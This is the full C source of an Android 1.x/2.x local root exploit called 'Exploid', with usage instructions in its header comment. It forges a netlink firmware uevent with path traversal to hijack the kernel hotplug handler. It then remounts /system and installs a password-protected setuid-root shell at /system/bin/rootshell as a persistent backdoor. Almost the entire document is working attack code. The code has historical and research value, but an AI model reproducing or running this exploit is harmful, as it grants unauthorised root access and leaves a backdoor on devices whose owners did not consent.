Exploid for Android

/* android 1.x/2.x the real youdev feat. init local root exploit.
 * (C) 2009/2010 by The Android Exploid Crew.
 *
 * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
 * Or use /data/local/tmp if available (thx to ioerror!) It is important to
 * to use /sqlite_stmt_journals directory if available.
 * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
 * or use USB keys etc. This will invoke hotplug which is actually
 * our exploit making /system/bin/rootshell.
 * This exploit requires /etc/firmware directory, e.g. it will
 * run on real devices and not inside the emulator.
 * I'd like to have this exploitet by using the same blockdevice trick
 * as in udev, but internal structures only allow world writable char
 * devices, not block devices, so I used the firmware subsystem.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 *
 * Thx to all the TAEC supporters.
 */
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>


// CHANGE!
#define SECRET "secret"


void die(const char *msg)
{
    perror(msg);
    exit(errno);
}


void copy(const char *from, const char *to)
{
    int fd1, fd2;
    char buf[0x1000];
    ssize_t r = 0;

    if ((fd1 = open(from, O_RDONLY)) < 0)
        die("[-] open");
    if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0)
        die("[-] open");
    for (;;) {
        r = read(fd1, buf, sizeof(buf));
        if (r < 0)
            die("[-] read");
        if (r == 0)
            break;
        if (write(fd2, buf, r) != r)
            die("[-] write");
    }

    close(fd1);
    close(fd2);
    sync(); sync();
}


void clear_hotplug()
{
    int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
    write(ofd, "", 1);
    close(ofd);
}


void rootshell(char **env)
{
    char pwd[128];
    char *sh[] = {"/system/bin/sh", 0};

    memset(pwd, 0, sizeof(pwd));
    readlink("/proc/self/fd/0", pwd, sizeof(pwd));
    if (strncmp(pwd, "/dev/pts/", 9) != 0)
        die("[-] memory tricks");

    write(1, "Password (echoed):", 18);
    memset(pwd, 0, sizeof(pwd));
    read(0, pwd, sizeof(pwd) - 1);
    sleep(2);

    if (strlen(pwd) < 6)
        die("[-] password too short");
    if (memcmp(pwd, SECRET, strlen(SECRET)) != 0)
        die("[-] wrong password");

    setuid(0); setgid(0);
    execve(*sh, sh, env);
    die("[-] execve");
}


int main(int argc, char **argv, char **env)
{
    char buf[512], path[512];
    int ofd;
    struct sockaddr_nl snl;
    struct iovec iov = {buf, sizeof(buf)};
    struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
    int sock;
    char *basedir = NULL;


    /* I hope there is no LD_ bug in androids rtld :) */
    if (geteuid() == 0 && getuid() != 0)
        rootshell(env);

    if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
        die("[-] readlink");

    if (geteuid() == 0) {
        clear_hotplug();
        /* remount /system rw */
        if (mount("/dev/mtdblock0", "/system", "yaffs2", MS_REMOUNT, 0) < 0)
            mount("/dev/mtdblock0", "/system", "yaffs", MS_REMOUNT, 0);
        copy(path, "/system/bin/rootshell");
        chmod("/system/bin/rootshell", 04711);
        for (;;);
    }

    printf("[*] Android local root exploid (C) The Android Exploid Crew\n");

    basedir = "/sqlite_stmt_journals";
    if (chdir(basedir) < 0) {
        basedir = "/data/local/tmp";
        if (chdir(basedir) < 0)
            basedir = strdup(getcwd(buf, sizeof(buf)));
    }
    printf("[+] Using basedir=%s, path=%s\n", basedir, path);
    printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

    memset(&snl, 0, sizeof(snl));
    snl.nl_pid = 1;
    snl.nl_family = AF_NETLINK;

    if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
        die("[-] socket");

    close(creat("loading", 0666));
    if ((ofd = creat("hotplug", 0644)) < 0)
        die("[-] creat");
    if (write(ofd, path , strlen(path)) < 0)
        die("[-] write");
    close(ofd);
    symlink("/proc/sys/kernel/hotplug", "data");
    snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
             "SUBSYSTEM=firmware%c"
             "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
    printf("[+] sending add message ...\n");
    if (sendmsg(sock, &msg, 0) < 0)
        die("[-] sendmsg");
    close(sock);
    printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
           "[*] settings, plugin USB key etc.\n"
           "[*] You succeeded if you find /system/bin/rootshell.\n"
           "[*] GUI might hang/restart meanwhile so be patient.\n");
    sleep(3);
    return 0;
}